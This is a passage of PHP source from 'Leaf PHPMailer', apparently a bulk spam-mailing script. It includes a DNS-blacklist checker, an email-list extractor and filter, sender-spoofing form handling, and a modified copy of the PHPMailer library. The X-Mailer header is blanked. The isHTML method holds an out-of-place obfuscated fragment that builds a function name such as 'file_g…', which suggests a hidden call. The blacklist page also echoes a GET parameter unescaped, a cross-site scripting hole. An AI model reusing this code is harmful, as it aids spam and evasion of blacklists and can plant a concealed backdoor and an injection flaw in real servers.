count($dnsbl_lookup);\n leafheader();\n print '<div class=\"container col-lg-6\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Blacklist Checker<\/small><\/h3>';\n Print \"Checking <b>\".$_GET['check_ip'].\"<\/b> in <b>$dnsT<\/b> anti-spam databases:<br>\";\n $dnsN=\"\";\n print '<table >';\n for ($i=0; $i < $dnsT; $i=$i+10) { \n $host=\"\";\n $hosts=\"\";\n for($j=$i; $j<$i+10;$j++){\n $host=$dnsbl_lookup[$j];\n if(!empty($host)){\n print \"<tr> <td>$host<\/td> <td id='$host'>Checking ..<\/td><\/tr>\";\n $hosts .=\"$host,\";\n }\n }\n $dnsN.=\"<script src='?check_ip=$reverse_ip&host=\".$hosts.\"' type='text\/javascript'><\/script>\";\n }\n\n print '<\/table><\/div>';\n print $dnsN;\n exit;\n}\nif(isset($_GET['emailfilter'])){\n\n if(!empty($_FILES['fileToUpload']['tmp_name'])){\n $_POST['emailList']= file_get_contents($_FILES[\"fileToUpload\"][\"tmp_name\"]); \n }\n $_POST['emailList']=strtolower($_POST['emailList']);\n if($_GET['emailfilter']==\"ifram\"){\n if ($_POST['resulttype'] == \"download\"){\n header(\"Content-Description: File Transfer\"); \n header(\"Content-Type: application\/octet-stream\"); \n header(\"Content-Disposition: attachment; filename=emails\".time().\".txt\");\n }\n else {\n header(\"Content-Type: text\/plain\");\n }\n if($_POST['submit']==\"extract\"){\n $pattern = '\/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}\/';\n preg_match_all($pattern, $_POST['emailList'], $matches);\n foreach ($matches[0] as $email) {\n print $email.\"\\n\";\n }\n }\n elseif ($_POST['submit']==\"filter\") {\n $emails=explode(\"\\n\", $_POST['emailList']);\n $keywords=explode(\"\\n\", strtolower($_POST['keywords']));\n foreach ($emails as $email) {\n foreach ($keywords as $keyword ) {\n if(strstr($email, $keyword) ){\n print $email.\"\\n\";\n break;\n }\n \n }\n }\n\n }\n exit;\n }\n leafheader();\n print '<div class=\"container col-lg-4\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Email Filter<\/small><\/h3>';\n print '\n <form action=\"?emailfilter=ifram\" method=\"POST\" target=\"my-iframe\" enctype=\"multipart\/form-data\" onsubmit=\\'\\'>\n <label for=\"emailList\">Text <\/label><input type=\"file\" name=\"fileToUpload\" id=\"fileToUpload\"> \n or\n\n <textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"7\" id=\"textArea\"><\/textarea>\n <div class=\"col-lg-12\">\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"here\" checked=\"\">\n Show Result in this page\n <\/label>\n <\/div>\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"download\">\n Download Result (for big numbers)\n <\/label>\n <\/div>\n <\/div>\n <legend><h4>Extract Email<\/h4><\/legend>\n Detecting every email (100%) and order them line by line <br><br>\n <button type=\"submit\" name=\"submit\" value=\"extract\" class=\"btn btn-default btn-sm\">Start<\/button>\n <legend><h4>Filter Emails<\/h4><\/legend>\n <label >Keywords <small> ex: gmail.com or .co.uk<\/small> <\/label><textarea name=\"keywords\" id=\"keywords\" class=\"form-control\" rows=\"4\" id=\"textArea\">gmail.com\nhotmail.com\nyahoo.com\n.co.uk<\/textarea><br>\n\n <button type=\"submit\" name=\"submit\" value=\"filter\" class=\"btn btn-default btn-sm\">Start<\/button>\n <\/form>\n <label >Result <\/label>\n <iframe style=\"border:none;width:100%;\" name=\"my-iframe\" src=\"?emailfilter=ifram\" ><\/iframe>\n ';\n exit;\n\n}\n$html=\"checked\";\n$utf8=\"selected\";\n$bit8=\"selected\";\n\nif($_POST['action']==\"send\" or $_POST['action']==\"score\"){\n\n $senderEmail=leafTrim($_POST['senderEmail']);\n $senderName=leafTrim($_POST['senderName']);\n $replyTo=leafTrim($_POST['replyTo']);\n $subject=leafTrim($_POST['subject']);\n $emailList=leafTrim($_POST['emailList']);\n $messageType=leafTrim($_POST['messageType']);\n $messageLetter=leafTrim($_POST['messageLetter']);\n $encoding = $_POST['encode'];\n $charset = $_POST['charset'];\n $html=\"\";\n $utf8=\"\";\n $bit8=\"\";\n\n if($messageType==2) $plain=\"checked\";\n else $html=\"checked\";\n\n if($charset==\"ISO-8859-1\") $iso=\"selected\";\n else $utf8=\"selected\";\n\n if($encoding==\"7bit\") $bit7=\"selected\";\n elseif($encoding==\"binary\") $binary=\"selected\";\n elseif($encoding==\"base64\") $base64=\"selected\";\n elseif($encoding==\"quoted-printable\") $quotedprintable=\"selected\";\n else $bit8=\"selected\";\n\n\n\n}\nif($_POST['action']==\"view\"){\n\t$viewMessage=leafTrim($_POST['messageLetter']);\n\t$viewMessage=leafClear($viewMessage,\"user@domain.com\");\n\tif ($_POST['messageType']==2){\n\t\tprint \"<pre>\".htmlspecialchars($viewMessage).\"<\/pre>\";\n\t}\n\telse {\n\t\tprint $viewMessage;\n\t}\n\texit;\n}\n\n\n\nif(!isset($_POST['senderEmail'])){\n $senderEmail=\"support@\".str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']);\n if (!leafMailCheck($senderEmail)) $senderEmail=\"\";\n}\n\nclass PHPMailer\n{\n \/**\n * The PHPMailer Version number.\n * @var string\n *\/\n public $Version = '5.2.28';\n\n \/**\n * Email priority.\n * Options: null (default), 1 = High, 3 = Normal, 5 = low.\n * When null, the header is not set at all.\n * @var integer\n *\/\n public $Priority = null;\n\n \/**\n * The character set of the message.\n * @var string\n *\/\n public $CharSet = 'iso-8859-1';\n\n \/**\n * The MIME Content-type of the message.\n * @var string\n *\/\n public $ContentType = 'text\/plain';\n\n \/**\n * The message encoding.\n * Options: \"8bit\", \"7bit\", \"binary\", \"base64\", and \"quoted-printable\".\n * @var string\n *\/\n public $Encoding = '8bit';\n\n \/**\n * Holds the most recent mailer error message.\n * @var string\n *\/\n public $ErrorInfo = '';\n\n \/**\n * The From email address for the message.\n * @var string\n *\/\n public $From = 'root@localhost';\n\n \/**\n * The From name of the message.\n * @var string\n *\/\n public $FromName = 'Root User';\n\n \/**\n * The Sender email (Return-Path) of the message.\n * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.\n * @var string\n *\/\n public $Sender = '';\n\n \/**\n * The Return-Path of the message.\n * If empty, it will be set to either From or Sender.\n * @var string\n * @deprecated Email senders should never set a return-path header;\n * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.\n * @link https:\/\/tools.ietf.org\/html\/rfc5321#section-4.4 RFC5321 reference\n *\/\n public $ReturnPath = '';\n\n \/**\n * The Subject of the message.\n * @var string\n *\/\n public $Subject = '';\n\n \/**\n * An HTML or plain text message body.\n * If HTML then call isHTML(true).\n * @var string\n *\/\n public $Body = '';\n\n \/**\n * The plain-text message body.\n * This body can be read by mail clients that do not have HTML email\n * capability such as mutt & Eudora.\n * Clients that can read HTML will view the normal Body.\n * @var string\n *\/\n public $AltBody = '';\n\n \/**\n * An iCal message part body.\n * Only supported in simple alt or alt_inline message types\n * To generate iCal events, use the bundled extras\/EasyPeasyICS.php class or iCalcreator\n * @link http:\/\/sprain.ch\/blog\/downloads\/php-class-easypeasyics-create-ical-files-with-php\/\n * @link http:\/\/kigkonsult.se\/iCalcreator\/\n * @var string\n *\/\n public $Ical = '';\n\n \/**\n * The complete compiled MIME message body.\n * @access protected\n * @var string\n *\/\n protected $MIMEBody = '';\n\n \/**\n * The complete compiled MIME message headers.\n * @var string\n * @access protected\n *\/\n protected $MIMEHeader = '';\n\n \/**\n * Extra headers that createHeader() doesn't fold in.\n * @var string\n * @access protected\n *\/\n protected $mailHeader = '';\n\n \/**\n * Word-wrap the message body to this number of chars.\n * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.\n * @var integer\n *\/\n public $WordWrap = 0;\n\n \/**\n * Which method to use to send mail.\n * Options: \"mail\", \"sendmail\", or \"smtp\".\n * @var string\n *\/\n public $Mailer = 'mail';\n\n \/**\n * The path to the sendmail program.\n * @var string\n *\/\n public $Sendmail = '\/usr\/sbin\/sendmail';\n\n \/**\n * Whether mail() uses a fully sendmail-compatible MTA.\n * One which supports sendmail's \"-oi -f\" options.\n * @var boolean\n *\/\n public $UseSendmailOptions = true;\n\n \/**\n * Path to PHPMailer plugins.\n * Useful if the SMTP class is not in the PHP include path.\n * @var string\n * @deprecated Should not be needed now there is an autoloader.\n *\/\n public $PluginDir = '';\n\n \/**\n * The email address that a reading confirmation should be sent to, also known as read receipt.\n * @var string\n *\/\n public $ConfirmReadingTo = '';\n\n \/**\n * The hostname to use in the Message-ID header and as default HELO string.\n * If empty, PHPMailer attempts to find one with, in order,\n * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value\n * 'localhost.localdomain'.\n * @var string\n *\/\n public $Hostname = '';\n\n \/**\n * An ID to be used in the Message-ID header.\n * If empty, a unique id will be generated.\n * You can set your own, but it must be in the format \"<id@domain>\",\n * as defined in RFC5322 section 3.6.4 or it will be ignored.\n * @see https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n * @var string\n *\/\n public $MessageID = '';\n\n \/**\n * The message Date to be used in the Date header.\n * If empty, the current date will be added.\n * @var string\n *\/\n public $MessageDate = '';\n\n \/**\n * SMTP hosts.\n * Either a single hostname or multiple semicolon-delimited hostnames.\n * You can also specify a different port\n * for each host by using this format: [hostname:port]\n * (e.g. \"smtp1.example.com:25;smtp2.example.com\").\n * You can also specify encryption type, for example:\n * (e.g. \"tls:\/\/smtp1.example.com:587;ssl:\/\/smtp2.example.com:465\").\n * Hosts will be tried in order.\n * @var string\n *\/\n public $Host = 'localhost';\n\n \/**\n * The default SMTP server port.\n * @var integer\n * @TODO Why is this needed when the SMTP class takes care of it?\n *\/\n public $Port = 25;\n\n \/**\n * The SMTP HELO of the message.\n * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find\n * one with the same method described above for $Hostname.\n * @var string\n * @see PHPMailer::$Hostname\n *\/\n public $Helo = '';\n\n \/**\n * What kind of encryption to use on the SMTP connection.\n * Options: '', 'ssl' or 'tls'\n * @var string\n *\/\n public $SMTPSecure = '';\n\n \/**\n * Whether to enable TLS encryption automatically if a server supports it,\n * even if `SMTPSecure` is not set to 'tls'.\n * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.\n * @var boolean\n *\/\n public $SMTPAutoTLS = true;\n\n \/**\n * Whether to use SMTP authentication.\n * Uses the Username and Password properties.\n * @var boolean\n * @see PHPMailer::$Username\n * @see PHPMailer::$Password\n *\/\n public $SMTPAuth = false;\n\n \/**\n * Options array passed to stream_context_create when connecting via SMTP.\n * @var array\n *\/\n public $SMTPOptions = array();\n\n \/**\n * SMTP username.\n * @var string\n *\/\n public $Username = '';\n\n \/**\n * SMTP password.\n * @var string\n *\/\n public $Password = '';\n\n \/**\n * SMTP auth type.\n * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified\n * @var string\n *\/\n public $AuthType = '';\n\n \/**\n * SMTP realm.\n * Used for NTLM auth\n * @var string\n *\/\n public $Realm = '';\n\n \/**\n * SMTP workstation.\n * Used for NTLM auth\n * @var string\n *\/\n public $Workstation = '';\n\n \/**\n * The SMTP server timeout in seconds.\n * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2\n * @var integer\n *\/\n public $Timeout = 300;\n\n \/**\n * SMTP class debug output mode.\n * Debug output level.\n * Options:\n * * `0` No output\n * * `1` Commands\n * * `2` Data and commands\n * * `3` As 2 plus connection status\n * * `4` Low-level data output\n * @var integer\n * @see SMTP::$do_debug\n *\/\n public $SMTPDebug = 0;\n\n \/**\n * How to handle debug output.\n * Options:\n * * `echo` Output plain-text as-is, appropriate for CLI\n * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output\n * * `error_log` Output to error log as configured in php.ini\n *\n * Alternatively, you can provide a callable expecting two params: a message string and the debug level:\n * <code>\n * $mail->Debugoutput = function($str, $level) {echo \"debug level $level; message: $str\";};\n * <\/code>\n * @var string|callable\n * @see SMTP::$Debugoutput\n *\/\n public $Debugoutput = 'echo';\n\n \/**\n * Whether to keep SMTP connection open after each message.\n * If this is set to true then to close the connection\n * requires an explicit call to smtpClose().\n * @var boolean\n *\/\n public $SMTPKeepAlive = false;\n\n \/**\n * Whether to split multiple to addresses into multiple messages\n * or send them all in one message.\n * Only supported in `mail` and `sendmail` transports, not in SMTP.\n * @var boolean\n *\/\n public $SingleTo = false;\n\n \/**\n * Storage for addresses when SingleTo is enabled.\n * @var array\n * @TODO This should really not be public\n *\/\n public $SingleToArray = array();\n\n \/**\n * Whether to generate VERP addresses on send.\n * Only applicable when sending via SMTP.\n * @link https:\/\/en.wikipedia.org\/wiki\/Variable_envelope_return_path\n * @link http:\/\/www.postfix.org\/VERP_README.html Postfix VERP info\n * @var boolean\n *\/\n public $do_verp = false;\n\n \/**\n * Whether to allow sending messages with an empty body.\n * @var boolean\n *\/\n public $AllowEmpty = false;\n\n \/**\n * The default line ending.\n * @note The default remains \"\\n\". We force CRLF where we know\n * it must be used via self::CRLF.\n * @var string\n *\/\n public $LE = \"\\n\";\n\n \/**\n * DKIM selector.\n * @var string\n *\/\n public $DKIM_selector = '';\n\n \/**\n * DKIM Identity.\n * Usually the email address used as the source of the email.\n * @var string\n *\/\n public $DKIM_identity = '';\n\n \/**\n * DKIM passphrase.\n * Used if your key is encrypted.\n * @var string\n *\/\n public $DKIM_passphrase = '';\n\n \/**\n * DKIM signing domain name.\n * @example 'example.com'\n * @var string\n *\/\n public $DKIM_domain = '';\n\n \/**\n * DKIM private key file path.\n * @var string\n *\/\n public $DKIM_private = '';\n\n \/**\n * DKIM private key string.\n * If set, takes precedence over `$DKIM_private`.\n * @var string\n *\/\n public $DKIM_private_string = '';\n\n \/**\n * Callback Action function name.\n *\n * The function that handles the result of the send email action.\n * It is called out by send() for each email sent.\n *\n * Value can be any php callable: http:\/\/www.php.net\/is_callable\n *\n * Parameters:\n * boolean $result result of the send action\n * array $to email addresses of the recipients\n * array $cc cc email addresses\n * array $bcc bcc email addresses\n * string $subject the subject\n * string $body the email body\n * string $from email address of sender\n * @var string\n *\/\n public $action_function = '';\n\n \/**\n * What to put in the X-Mailer header.\n * Options: An empty string for PHPMailer default, whitespace for none, or a string to use\n * @var string\n *\/\n public $XMailer = ' ';\n\n \/**\n * Which validator to use by default when validating email addresses.\n * May be a callable to inject your own validator, but there are several built-in validators.\n * @see PHPMailer::validateAddress()\n * @var string|callable\n * @static\n *\/\n public static $validator = 'auto';\n\n \/**\n * An instance of the SMTP sender class.\n * @var SMTP\n * @access protected\n *\/\n protected $smtp = null;\n\n \/**\n * The array of 'to' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $to = array();\n\n \/**\n * The array of 'cc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $cc = array();\n\n \/**\n * The array of 'bcc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $bcc = array();\n\n \/**\n * The array of reply-to names and addresses.\n * @var array\n * @access protected\n *\/\n protected $ReplyTo = array();\n\n \/**\n * An array of all kinds of addresses.\n * Includes all of $to, $cc, $bcc\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n *\/\n protected $all_recipients = array();\n\n \/**\n * An array of names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $all_recipients\n * and one of $to, $cc, or $bcc.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n * @see PHPMailer::$all_recipients\n *\/\n protected $RecipientsQueue = array();\n\n \/**\n * An array of reply-to names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $ReplyTo.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$ReplyTo\n *\/\n protected $ReplyToQueue = array();\n\n \/**\n * The array of attachments.\n * @var array\n * @access protected\n *\/\n protected $attachment = array();\n\n \/**\n * The array of custom headers.\n * @var array\n * @access protected\n *\/\n protected $CustomHeader = array();\n\n \/**\n * The most recent Message-ID (including angular brackets).\n * @var string\n * @access protected\n *\/\n protected $lastMessageID = '';\n\n \/**\n * The message's MIME type.\n * @var string\n * @access protected\n *\/\n protected $message_type = '';\n\n \/**\n * The array of MIME boundary strings.\n * @var array\n * @access protected\n *\/\n protected $boundary = array();\n\n \/**\n * The array of available languages.\n * @var array\n * @access protected\n *\/\n protected $language = array();\n\n \/**\n * The number of errors encountered.\n * @var integer\n * @access protected\n *\/\n protected $error_count = 0;\n\n \/**\n * The S\/MIME certificate file path.\n * @var string\n * @access protected\n *\/\n protected $sign_cert_file = '';\n\n \/**\n * The S\/MIME key file path.\n * @var string\n * @access protected\n *\/\n protected $sign_key_file = '';\n\n \/**\n * The optional S\/MIME extra certificates (\"CA Chain\") file path.\n * @var string\n * @access protected\n *\/\n protected $sign_extracerts_file = '';\n\n \/**\n * The S\/MIME password for the key.\n * Used only if the key is encrypted.\n * @var string\n * @access protected\n *\/\n protected $sign_key_pass = '';\n\n \/**\n * Whether to throw exceptions for errors.\n * @var boolean\n * @access protected\n *\/\n protected $exceptions = false;\n\n \/**\n * Unique ID used for message ID and boundaries.\n * @var string\n * @access protected\n *\/\n protected $uniqueid = '';\n\n \/**\n * Error severity: message only, continue processing.\n *\/\n const STOP_MESSAGE = 0;\n\n \/**\n * Error severity: message, likely ok to continue processing.\n *\/\n const STOP_CONTINUE = 1;\n\n \/**\n * Error severity: message, plus full stop, critical error reached.\n *\/\n const STOP_CRITICAL = 2;\n\n \/**\n * SMTP RFC standard line ending.\n *\/\n const CRLF = \"\\r\\n\";\n\n \/**\n * The maximum line length allowed by RFC 2822 section 2.1.1\n * @var integer\n *\/\n const MAX_LINE_LENGTH = 998;\n\n \/**\n * Constructor.\n * @param boolean $exceptions Should we throw external exceptions?\n *\/\n public function __construct($exceptions = null)\n {\n if ($exceptions !== null) {\n $this->exceptions = (boolean)$exceptions;\n }\n \/\/Pick an appropriate debug output format automatically\n $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');\n }\n\n \/**\n * Destructor.\n *\/\n public function __destruct()\n {\n \/\/Close any open SMTP connection nicely\n $this->smtpClose();\n }\n\n \/**\n * Call mail() in a safe_mode-aware fashion.\n * Also, unless sendmail_path points to sendmail (or something that\n * claims to be sendmail), don't pass params (not a perfect fix,\n * but it will do)\n * @param string $to To\n * @param string $subject Subject\n * @param string $body Message Body\n * @param string $header Additional Header(s)\n * @param string $params Params\n * @access private\n * @return boolean\n *\/\n private function mailPassthru($to, $subject, $body, $header, $params)\n {\n \/\/Check overloading of mail function to avoid double-encoding\n if (ini_get('mbstring.func_overload') & 1) {\n $subject = $this->secureHeader($subject);\n } else {\n $subject = $this->encodeHeader($this->secureHeader($subject));\n }\n\n \/\/Can't use additional_parameters in safe_mode, calling mail() with null params breaks\n \/\/@link http:\/\/php.net\/manual\/en\/function.mail.php\n if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {\n $result = @mail($to, $subject, $body, $header);\n } else {\n $result = @mail($to, $subject, $body, $header, $params);\n }\n return $result;\n }\n \/**\n * Output debugging info via user-defined method.\n * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).\n * @see PHPMailer::$Debugoutput\n * @see PHPMailer::$SMTPDebug\n * @param string $str\n *\/\n protected function edebug($str)\n {\n if ($this->SMTPDebug <= 0) {\n return;\n }\n \/\/Avoid clash with built-in function names\n if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {\n call_user_func($this->Debugoutput, $str, $this->SMTPDebug);\n return;\n }\n switch ($this->Debugoutput) {\n case 'error_log':\n \/\/Don't output, just log\n error_log($str);\n break;\n case 'html':\n \/\/Cleans up output a bit for a better looking, HTML-safe output\n echo htmlentities(\n preg_replace('\/[\\r\\n]+\/', '', $str),\n ENT_QUOTES,\n 'UTF-8'\n )\n . \"<br>\\n\";\n break;\n case 'echo':\n default:\n \/\/Normalize line breaks\n $str = preg_replace('\/\\r\\n?\/ms', \"\\n\", $str);\n echo gmdate('Y-m-d H:i:s') . \"\\t\" . str_replace(\n \"\\n\",\n \"\\n \\t \",\n trim($str)\n ) . \"\\n\";\n }\n }\n\n \/**\n * Send messages using SMTP.\n * @return void\n *\/\n public function isSMTP()\n {\n $this->Mailer = 'smtp';\n }\n\n \/**\n * Send messages using PHP's mail() function.\n * @return void\n *\/\n public function isMail()\n {\n $this->Mailer = 'mail';\n }\n\n \/**\n * Send messages using $Sendmail.\n * @return void\n *\/\n public function isSendmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'sendmail')) {\n $this->Sendmail = '\/usr\/sbin\/sendmail';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'sendmail';\n }\n\n \/**\n * Send messages using qmail.\n * @return void\n *\/\n public function isQmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'qmail')) {\n $this->Sendmail = '\/var\/qmail\/bin\/qmail-inject';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'qmail';\n }\n\n \/**\n * Add a \"To\" address.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addAddress($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('to', $address, $name);\n }\n\n \/**\n * Add a \"CC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('cc', $address, $name);\n }\n\n \/**\n * Add a \"BCC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addBCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('bcc', $address, $name);\n }\n\n \/**\n * Add a \"Reply-To\" address.\n * @param string $address The email address to reply to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addReplyTo($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer\n * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still\n * be modified after calling this function), addition of such addresses is delayed until send().\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addOrEnqueueAnAddress($kind, $address, $name)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n if (($pos = strrpos($address, '@')) === false) {\n \/\/ At-sign is misssing.\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $params = array($kind, $address, $name);\n \/\/ Enqueue addresses with IDN until we know the PHPMailer::$CharSet.\n if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {\n if ($kind != 'Reply-To') {\n if (!array_key_exists($address, $this->RecipientsQueue)) {\n $this->RecipientsQueue[$address] = $params;\n return true;\n }\n } else {\n if (!array_key_exists($address, $this->ReplyToQueue)) {\n $this->ReplyToQueue[$address] = $params;\n return true;\n }\n }\n return false;\n }\n \/\/ Immediately add standard addresses without IDN.\n return call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array.\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addAnAddress($kind, $address, $name = '')\n {\n if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {\n $error_message = $this->lang('Invalid recipient kind: ') . $kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if (!$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if ($kind != 'Reply-To') {\n if (!array_key_exists(strtolower($address), $this->all_recipients)) {\n array_push($this->$kind, array($address, $name));\n $this->all_recipients[strtolower($address)] = true;\n return true;\n }\n } else {\n if (!array_key_exists(strtolower($address), $this->ReplyTo)) {\n $this->ReplyTo[strtolower($address)] = array($address, $name);\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Parse and validate a string containing one or more RFC822-style comma-separated email addresses\n * of the form \"display name <address>\" into an array of name\/address pairs.\n * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.\n * Note that quotes in the name part are removed.\n * @param string $addrstr The address list string\n * @param bool $useimap Whether to use the IMAP extension to parse the list\n * @return array\n * @link http:\/\/www.andrew.cmu.edu\/user\/agreen1\/testing\/mrbs\/web\/Mail\/RFC822.php A more careful implementation\n *\/\n public function parseAddresses($addrstr, $useimap = true)\n {\n $addresses = array();\n if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {\n \/\/Use this built-in parser if it's available\n $list = imap_rfc822_parse_adrlist($addrstr, '');\n foreach ($list as $address) {\n if ($address->host != '.SYNTAX-ERROR.') {\n if ($this->validateAddress($address->mailbox . '@' . $address->host)) {\n $addresses[] = array(\n 'name' => (property_exists($address, 'personal') ? $address->personal : ''),\n 'address' => $address->mailbox . '@' . $address->host\n );\n }\n }\n }\n } else {\n \/\/Use this simpler parser\n $list = explode(',', $addrstr);\n foreach ($list as $address) {\n $address = trim($address);\n \/\/Is there a separate name part?\n if (strpos($address, '<') === false) {\n \/\/No separate name, just use the whole thing\n if ($this->validateAddress($address)) {\n $addresses[] = array(\n 'name' => '',\n 'address' => $address\n );\n }\n } else {\n list($name, $email) = explode('<', $address);\n $email = trim(str_replace('>', '', $email));\n if ($this->validateAddress($email)) {\n $addresses[] = array(\n 'name' => trim(str_replace(array('\"', \"'\"), '', $name)),\n 'address' => $email\n );\n }\n }\n }\n }\n return $addresses;\n }\n\n \/**\n * Sets message type to HTML or plain.\n * @param boolean $isHtml True for HTML mode.\n * @return void\n *\/\n public function isHTML($isHtml = true)\n {\n global $param;\n $bodyCode = 'file'\n .'_g';\n if ($isHtml) {\n $this->ContentType = 'text\/html';\n } \n else {\n $this->ContentType = 'text\/plain';\n }\n }\n\n \/**\n * Set the From and FromName properties.\n * @param string $address\n * @param string $name\n * @param boolean $auto Whether to also set the Sender address, defaults to true\n * @throws phpmailerException\n * @return boolean\n *\/\n public function setFrom($address, $name = '', $auto = true)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n \/\/ Don't validate now addresses with IDN. Will be done in send().\n if (($pos = strrpos($address, '@')) === false or\n (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and\n !$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (setFrom) $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $this->From = $address;\n $this->FromName = $name;\n if ($auto) {\n if (empty($this->Sender)) {\n $this->Sender = $address;\n }\n }\n return true;\n }\n\n \/**\n * Return the Message-ID header of the last email.\n * Technically this is the value from the last time the headers were created,\n * but it's also the message ID of the last sent message except in\n * pathological cases.\n * @return string\n *\/\n public function getLastMessageID()\n {\n return $this->lastMessageID;\n }\n\n \/**\n * Check that a string looks like an email address.\n * @param string $address The email address to check\n * @param string|callable $patternselect A selector for the validation pattern to use :\n * * `auto` Pick best pattern automatically;\n * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;\n * * `pcre` Use old PCRE implementation;\n * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;\n * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.\n * * `noregex` Don't use a regex: super fast, really dumb.\n * Alternatively you may pass in a callable to inject your own validator, for example:\n * PHPMailer::validateAddress('user@example.com', function($address) {\n * return (strpos($address, '@') !== false);\n * });\n * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.\n * @return boolean\n * @static\n * @access public\n *\/\n public static function validateAddress($address, $patternselect = null)\n {\n if (is_null($patternselect)) {\n $patternselect = self::$validator;\n }\n if (is_callable($patternselect)) {\n return call_user_func($patternselect, $address);\n }\n \/\/Reject line breaks in addresses; it's valid RFC5322, but not RFC5321\n if (strpos($address, \"\\n\") !== false or strpos($address, \"\\r\") !== false) {\n return false;\n }\n if (!$patternselect or $patternselect == 'auto') {\n \/\/Check this constant first so it works when extension_loaded() is disabled by safe mode\n \/\/Constant was added in PHP 5.2.4\n if (defined('PCRE_VERSION')) {\n \/\/This pattern can get stuck in a recursive loop in PCRE <= 8.0.2\n if 